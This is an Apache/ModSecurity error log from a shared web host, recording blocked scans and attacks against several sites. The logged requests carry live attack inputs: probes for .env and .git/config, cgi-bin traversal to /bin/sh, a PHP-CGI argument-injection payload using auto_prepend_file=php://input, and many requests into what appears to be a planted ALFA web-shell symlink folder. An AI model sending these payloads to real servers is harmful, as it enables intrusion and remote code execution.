[Tue Oct 27 06:27:58.788817 2026] [security2:error] [pid 3201641:tid 3201641] [client 130.12.180.175:37598] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rh6MTIKaGGLTiEIZbQAAAAc"]
[Tue Oct 27 06:27:58.789105 2026] [security2:error] [pid 3201641:tid 3201641] [client 130.12.180.175:37598] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rh6MTIKaGGLTiEIZbQAAAAc"]
[Tue Oct 27 06:27:58.789423 2026] [security2:error] [pid 3201641:tid 3201641] [client 130.12.180.175:37598] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rh6MTIKaGGLTiEIZbQAAAAc"]
[Tue Oct 27 06:27:58.789473 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.176:26072] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rpekxYBRCO5jo1OHbgAAABA"]
[Tue Oct 27 06:27:58.789634 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.176:26072] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rpekxYBRCO5jo1OHbgAAABA"]
[Tue Oct 27 06:27:58.789872 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.176:26072] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "col2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auB8rpekxYBRCO5jo1OHbgAAABA"]
[Tue Oct 27 06:27:59.946132 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.21.250.48:19329] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:28:03.750569 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.224.132.215:14674] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:28:05.721835 2026] [authz_core:error] [pid 3209601:tid 3209601] [client 161.115.234.166:54289] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://www.google.com
[Tue Oct 27 06:28:07.800078 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 54.147.238.89:10640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:00/physical_node/subsystem/drivers/cirrus/0000:00:02.0/drm/card0/device/driver/unbind
[Tue Oct 27 06:28:19.955509 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 184.73.47.24:15176] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:28:36.380711 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.89.176.255:41940] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:28:43.724334 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 3.90.73.206:19892] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:28:51.814155 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.227.156.153:12489] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:15.955566 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.87.95.7:20099] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:23.713549 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.166.104.83:44697] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:31.733707 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 50.19.221.48:31296] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/0000:00:01.1/resource2
[Tue Oct 27 06:29:39.904008 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 44.210.204.255:16787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:41.495676 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.1:11604] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-2k/shrink
[Tue Oct 27 06:29:47.959166 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 23.23.180.225:59786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:51.982360 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.21.225.190:18038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:29:59.780840 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.225.243.131:31718] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:03.909563 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 3.93.98.99:30616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:14/subsystem/devices/device:11/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/resource0
[Tue Oct 27 06:30:07.893011 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 107.23.62.75:43802] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:11.842351 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 3.223.181.32:52509] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/physical_node/0000:00:05.0/driver/0000:00:03.0/subsystem/drivers/ata_piix/0000:00:01.1/resource1
[Tue Oct 27 06:30:12.863499 2026] [security2:error] [pid 3209604:tid 3209604] [client 43.131.36.84:41328] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auB9NK0A58tRzIL-Q2Bm8AAAAAM"]
[Tue Oct 27 06:30:12.864543 2026] [authz_core:error] [pid 3209604:tid 3209604] [client 43.131.36.84:41328] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 06:30:26.944525 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 85.208.96.208:40492] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:27.848918 2026] [core:error] [pid 3212771:tid 3212771] (13)Permission denied: [client 98.84.131.195:20060] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/PNP0303:00/physical_node1/driver/serio0/driver/unbind
[Tue Oct 27 06:30:32.015375 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 54.210.155.69:9656] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/memory9/node0/cpu0/driver/uevent
[Tue Oct 27 06:30:35.871130 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 98.82.66.172:20941] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:39.582331 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 54.84.250.51:52495] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:47.647898 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 23.23.104.107:13986] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:55.547087 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 44.223.193.255:54467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:30:59.449961 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.203:10562] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/lfd.pid
[Tue Oct 27 06:31:09.072754 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.231.156.59:34044] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:31:15.932545 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.70.209.13:10531] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:31:31.318746 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 100.29.63.24:59758] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:31:35.214351 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 54.147.80.137:15658] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/tty5/subsystem/tty14/subsystem/ttyS1/port
[Tue Oct 27 06:31:36.140712 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.2:51934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/eventum/extend.php"] [unique_id "auB9hz4THoroSjopRdX_YQAAAAE"]
[Tue Oct 27 06:31:36.140754 2026] [security2:error] [pid 3209603:tid 3209603] [client 185.191.171.2:51934] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/eventum/extend.php"] [unique_id "auB9hz4THoroSjopRdX_YQAAAAE"]
[Tue Oct 27 06:31:51.457769 2026] [ssl:error] [pid 3212771:tid 3212771] (70014)End of file found: [client 52.200.251.20:9014] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:31:55.218023 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 52.205.113.104:54820] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/device:16/subsystem/devices/device:05/physical_node/driver/0000:00:03.0/rescan
[Tue Oct 27 06:31:59.101168 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 3.221.222.168:40708] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:03.144532 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.210.58.238:12615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:08.489449 2026] [ssl:error] [pid 3209611:tid 3209611] (5)Input/output error: [client 23.21.179.120:6319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:11.167383 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 54.87.62.248:8391] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:15.201859 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 23.21.250.48:52551] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:22.839976 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.204.89.12:22597] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:30.340774 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.196:59210] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nf_tables/sections/__ex_table
[Tue Oct 27 06:32:30.860050 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 23.21.148.226:56879] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:38.869966 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 54.198.33.233:35973] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:32:46.645627 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.3.104.214:21464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:02.583725 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.4.229.9:2992] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:06.961590 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 35.168.238.50:6724] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:10.411659 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 44.212.131.50:59296] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:14.492657 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 100.29.63.24:20121] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:18.376885 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.194.233.48:58441] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:31.638707 2026] [ssl:error] [pid 3201641:tid 3201641] (5)Input/output error: [client 34.239.85.139:63999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:42.196228 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 35.169.119.108:26594] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:46.184708 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.215.61.66:57305] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:58.192485 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.232.12.157:36999] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:33:59.503240 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 185.191.171.6:26680] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/run/system_needs_reboot.cache
[Tue Oct 27 06:34:00.998882 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.21:41836] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auB-GD4THoroSjopRdX_ZgAAAAE"]
[Tue Oct 27 06:34:00.999141 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.21:41836] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auB-GD4THoroSjopRdX_ZgAAAAE"]
[Tue Oct 27 06:34:00.999446 2026] [security2:error] [pid 3209603:tid 3209603] [client 45.138.12.21:41836] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.git/config"] [unique_id "auB-GD4THoroSjopRdX_ZgAAAAE"]
[Tue Oct 27 06:34:02.185369 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.221.105.234:57791] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:04.409079 2026] [core:error] [pid 3201656:tid 3201656] [client 103.91.65.178:37058] AH10244: invalid URI path (/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh)
[Tue Oct 27 06:34:05.575425 2026] [core:error] [pid 3201647:tid 3201647] [client 103.91.65.178:37074] AH10244: invalid URI path (/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh)
[Tue Oct 27 06:34:06.356921 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.193.2.57:51726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 06:34:06.589265 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auB-HhpfUBgvi1kircRUJgAAABg"]
[Tue Oct 27 06:34:06.589369 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auB-HhpfUBgvi1kircRUJgAAABg"]
[Tue Oct 27 06:34:06.590050 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auB-HhpfUBgvi1kircRUJgAAABg"]
[Tue Oct 27 06:34:06.590359 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/hello.world"] [unique_id "auB-HhpfUBgvi1kircRUJgAAABg"]
[Tue Oct 27 06:34:07.157893 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:\\\\xadd allow_url_include=1 \\\\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:\\x5c\\x5cxadd allow_url_include=1 \\x5c\\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auB-HxpfUBgvi1kircRUJwAAABg"]
[Tue Oct 27 06:34:07.157987 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:\\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:\\x5cxadd allow_url_include=1 \\x5cxadd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auB-HxpfUBgvi1kircRUJwAAABg"]
[Tue Oct 27 06:34:07.158446 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auB-HxpfUBgvi1kircRUJwAAABg"]
[Tue Oct 27 06:34:07.158725 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=10,HTTP=0,SESS=0): PHP Injection Attack: I/O Stream Found"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/"] [unique_id "auB-HxpfUBgvi1kircRUJwAAABg"]
[Tue Oct 27 06:34:07.793617 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Matched phrase "=" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "71"] [id "933120"] [rev "1"] [msg "PHP Injection Attack: Configuration Directive Found"] [data "Matched Data: = found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: \\xadd allow_url_include=1 \\xadd auto_prepend_file=php:/input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-HxpfUBgvi1kircRUKAAAABg"]
[Tue Oct 27 06:34:07.793680 2026] [security2:error] [pid 3209616:tid 3209616] [client 103.91.65.178:37088] ModSecurity: Warning. Pattern match "(?i)php://(std(in|out|err)|(in|out)put|fd|memory|temp|filter)" at ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "96"] [id "933140"] [msg "PHP Injection Attack: I/O Stream Found"] [data "Matched Data: php://input found within ARGS_NAMES:%ADd allow_url_include=1 %ADd auto_prepend_file=php://input: %ADd allow_url_include=1 %ADd auto_prepend_file=php://input"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "OWASP_CRS/WEB_ATTACK/PHP_INJECTION"] [tag "OWASP_TOP_10/A1"] [hostname "64.20.54.226"] [uri "/index.php"] [unique_id "auB-HxpfUBgvi1kircRUKAAAABg"]
